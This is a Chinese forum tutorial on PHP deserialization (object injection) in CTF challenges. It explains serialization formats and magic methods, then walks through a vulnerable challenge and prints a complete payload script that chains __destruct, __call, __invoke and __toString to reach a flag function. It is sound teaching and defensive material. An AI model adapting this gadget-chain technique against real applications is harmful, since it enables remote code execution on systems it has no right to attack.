用户
搜索
  • TA的每日心情
    擦汗
    2018-10-31 19:20
  • 签到天数: 24 天

    连续签到: 1 天

    [LV.4]经常看看II

    i春秋-核心白帽

    Rank: 4

    2

    主题

    18

    帖子

    293

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2018-4-3
    发表于 2018-9-2 19:24:24 79274
    本帖最后由 icq_8bf67fe65 于 2018-9-2 21:20 编辑

    本文原创作者:Versi0n,本文属i春秋原创奖励计划,未经许可禁止转载!


    一、前言

    在ctf比赛中,经常会遇到php反序列化漏洞的题,今天就来简单分析下该漏洞的正确食用姿势~

    二、正文

    1.基础知识

    PHP序列化:
    php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中,使用
    serialize()函数。

    PHP反序列化:
    将被压缩为字符串的复杂数据结构,重新恢复,使用
    unserialize()函数。

    PHP反序列化漏洞:
    也叫PHP对象注入,php有许多魔术方法(所谓魔术方法,就是系统在特定时刻自动调用的方法),如果代码中使用了反序列化
    unserialize()函数,并且参数可控,且程序没有对用户输入的反序列化字符串进行校验,那么可以通过注入参数来达到想要实现的目的。

    PHP
    序列化漏洞常用的魔术方法:
    __construct():当一个类被创建时自动调用
    __destruct():当一个类被销毁时自动调用
    __invoke():当把一个类当作函数使用时自动调用
    __tostring():当把一个类当作字符串使用时自动调用
    __wakeup():当调用unserialize()函数时自动调用
    __sleep():当调用serialize()函数时自动调用
    __call():当要调用的方法不存在或权限不足时自动调用

    2.实例

    (1)序列化数组
    将php数组转化为序列化字符串:
    源码:
    [PHP] 纯文本查看 复制代码
    <?php
    
       $arr=array('name'=>'cat','age'=>2);  #构造一个数组arr,包含属性name和age
            var_dump($arr);          #输出显示数组
            echo ("<br></br>");
            $info=serialize($arr);     #输出显示序列化后的数组
            echo($info);
     
    ?>


    运行结果:
    图片1.png

    序列化数组字符串格式如下:
    a:size:{key1;value1;key2,value2...}
    a代表类别是数组,size表示数组属性个数,{ }里是按键值对格式存储的数组内容其中,sstring类型,iint类型,s后面的数字是其长度,i后面的是其数值

    (2)序列化对象将php对象序列化为数组:
    源码:
    [PHP] 纯文本查看 复制代码
    <?php
    
    class Person                                        #Person类,包含name和age属性
    {
            public $name = "cat";        
            public $age = 2;
    
    }
    $b=new Person();                             #创建Person对象$b,赋值
    $b->name = 'dog';
    $b->age = 3;
    echo (serialize($b))."<br />"            #输出显示序列化后的对象
    ?>


    运行结果:
    图片2.png
    序列化对象字符串格式如下:
    O :strlen(object name):name:size:{key1;value1;key2;value2;...}
    O代表类别是对象,strlen(object name)表示对象名长度,后面是对象名和属性个数{ }里是按键值对格式存储的数组内容,其中,sstring类型,iint类型,s后面的数字是其长度,i后面的是其数值

    (3)反序列化对象
    将序列化对象字符串恢复:
    源码:
    [PHP] 纯文本查看 复制代码
    <?php
    
    class Person
    {
            public $name = "cat";
            public $age = 2;
    }
    $b=new Person();
    $b->name = 'dog';
    $b->age = 3;
    $a = serialize($b);
    echo ($a)."<br><br>";
    var_dump (unserialize($a));
    
    ?>

    运行结果:
    图片3.png
    3.例题
    由一道ctf赛题来实际分析一波:
    源码:
    [PHP] 纯文本查看 复制代码
    <?php
    class start_gg
    {
            public $mod1;
            public $mod2;
            public function __destruct()
            {
                    $this->mod1->test1();
            }
    }
    class Call
    {
            public $mod1;
            public $mod2;
            public function test1()
        {
                $this->mod1->test2();
        }
    }
    class funct
    {
            public $mod1;
            public $mod2;
            public function __call($test2,$arr)
            {
                    $s1 = $this->mod1;
                    $s1();
            }
    }
    class func
    {
            public $mod1;
            public $mod2;
            public function __invoke()
            {
                    $this->mod2 = "字符串拼接".$this->mod1;
            } 
    }
    class string1
    {
            public $str1;
            public $str2;
            public function __toString()
            {
                    $this->str1->get_flag();
                    return "1";
            }
    }
    class GetFlag
    {
            public function get_flag()
            {
                    echo "flag:"."xxxxxxxxxxxx";
            }
    }
    $a = $_GET['string'];
    unserialize($a);
    ?>

    思路分析:
    看到了unserialize()函数,自然联想到php反序列化漏洞。
    (1)想得到flag,就需要调用GetFlag类里的get_flag()方法。
    (2)在上面的类里查找,在string1中发现了get_flag()方法被调用,但却是参数$str1的方法,所以需要把$str1赋值为GetFlag类的对象,这样才可以调用它。又因为get_flag()方法在魔术方法__toString()方法里,所以需要把类string1当成字符串来使用,得以自动调用__toString()方法。
    (3)要把类string1当成字符串使用,在类 func()中发现字符串拼接,所以需要把$mod1赋值为string1类的对象;又因为字符串拼接在__invoke()方法中,所以需要把func类当成函数使用来自动调用 __invoke()方法。
    (4)继续查找,在funct中找到了函数调用,需要把mod1赋值为func类的对象,又因为函数调用在 __call方法中,且参数为$test2,即无法调用test2方法时自动调用 __call方法;向上,在Call类的test1方法中看到了调用test2方法,是$mod1的方法,只需要把$mod1赋值为funct类的对象,即可自动调用__call方法。
    (5)查找test1方法的调用,在start_gg类中看到调用,为$mod1的方法,在start_gg类的__destruct()方法,只需要把$mod1赋值为start_gg类的对象,即可自动调用__destruct()方法。
    (6)构造payload,如下:

    Payload:
    [PHP] 纯文本查看 复制代码
    <?php
    class start_gg
    {
            public $mod1;
            public $mod2;
            public function __construct()                #把$mod1赋值为Call类对象
            {
                    $this->mod1 = new Call();
            }
            public function __destruct()
            {
                    $this->mod1->test1();
            }
    }
    class Call
    {
            public $mod1;
            public $mod2;
            public function __construct()                #把 $mod1赋值为funct类对象
            {
                    $this->mod1 = new funct();
            }
            public function test1()
               {
                        $this->mod1->test2();
               }
    }
    
    class funct
    {
            public $mod1;
            public $mod2;
            public function __construct()                #把 $mod1赋值为func类对象
            {
                    $this->mod1= new func();
                    
            }
            public function __call($test2,$arr)
            {
                    $s1 = $this->mod1;
                    $s1();
            }
    }
    class func
    {
            public $mod1;
            public $mod2;
            public function __construct()                #把 $mod1赋值为string1类对象
            {
                    $this->mod1= new string1();
                    
            }
            public function __invoke()
            {        
                    $this->mod2 = "字符串拼接".$this->mod1;
            } 
    }
    class string1
    {
            public $str1;
            public function __construct()                #把 $str1赋值为GetFlag类对象
            {
                    $this->str1= new GetFlag();          
            }
            public function __toString()
            {        
                    $this->str1->get_flag();
                    return "1";
            }
    }
    class GetFlag
    {
            public function get_flag()
            {
                    echo "flag:"."xxxxxxxxxxxx";
            }
    }
    $b = new start_gg;                                        #构造start_gg类对象$b
    echo urlencode(serialize($b))."<br />";        #显示输出url编码后的序列化对象

    成功输出flag

    图片4.png

    小结:ctf中php序列化问题,首先需要找到目标函数,然后由此向前逆推,利用各个类的魔术方法,最终实现目标函数的调用。


    三、小结

    一般来说,只有在白盒审计时才能从代码中发现php反序列化漏洞,而利用该漏洞也需要构造php序列化代码,利用条件比较苛刻。但当反序列化漏洞被恶意使用时,就可能造成代码执行、getshell等严重后果。所以在编程时,需要注意魔术方法的使用,以及反序列化参数的输入过滤问题,避免该漏洞的产生。


    ~END


    菜菜菜菜菜菜菜菜鸡~
    发表于 2018-9-3 15:57:04
    感谢,学到了
    使用道具 举报 回复
    学习了,谢谢
    使用道具 举报 回复
    学习一下~
    使用道具 举报 回复
    发表于 2018-9-11 13:36:37
    学习了。谢谢分享。一下子明白了所有函数的调用
    使用道具 举报 回复
    学习一下~
    使用道具 举报 回复
    学习了。
    使用道具 举报 回复
    发表于 2018-9-22 18:25:57
    学习学习!~
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册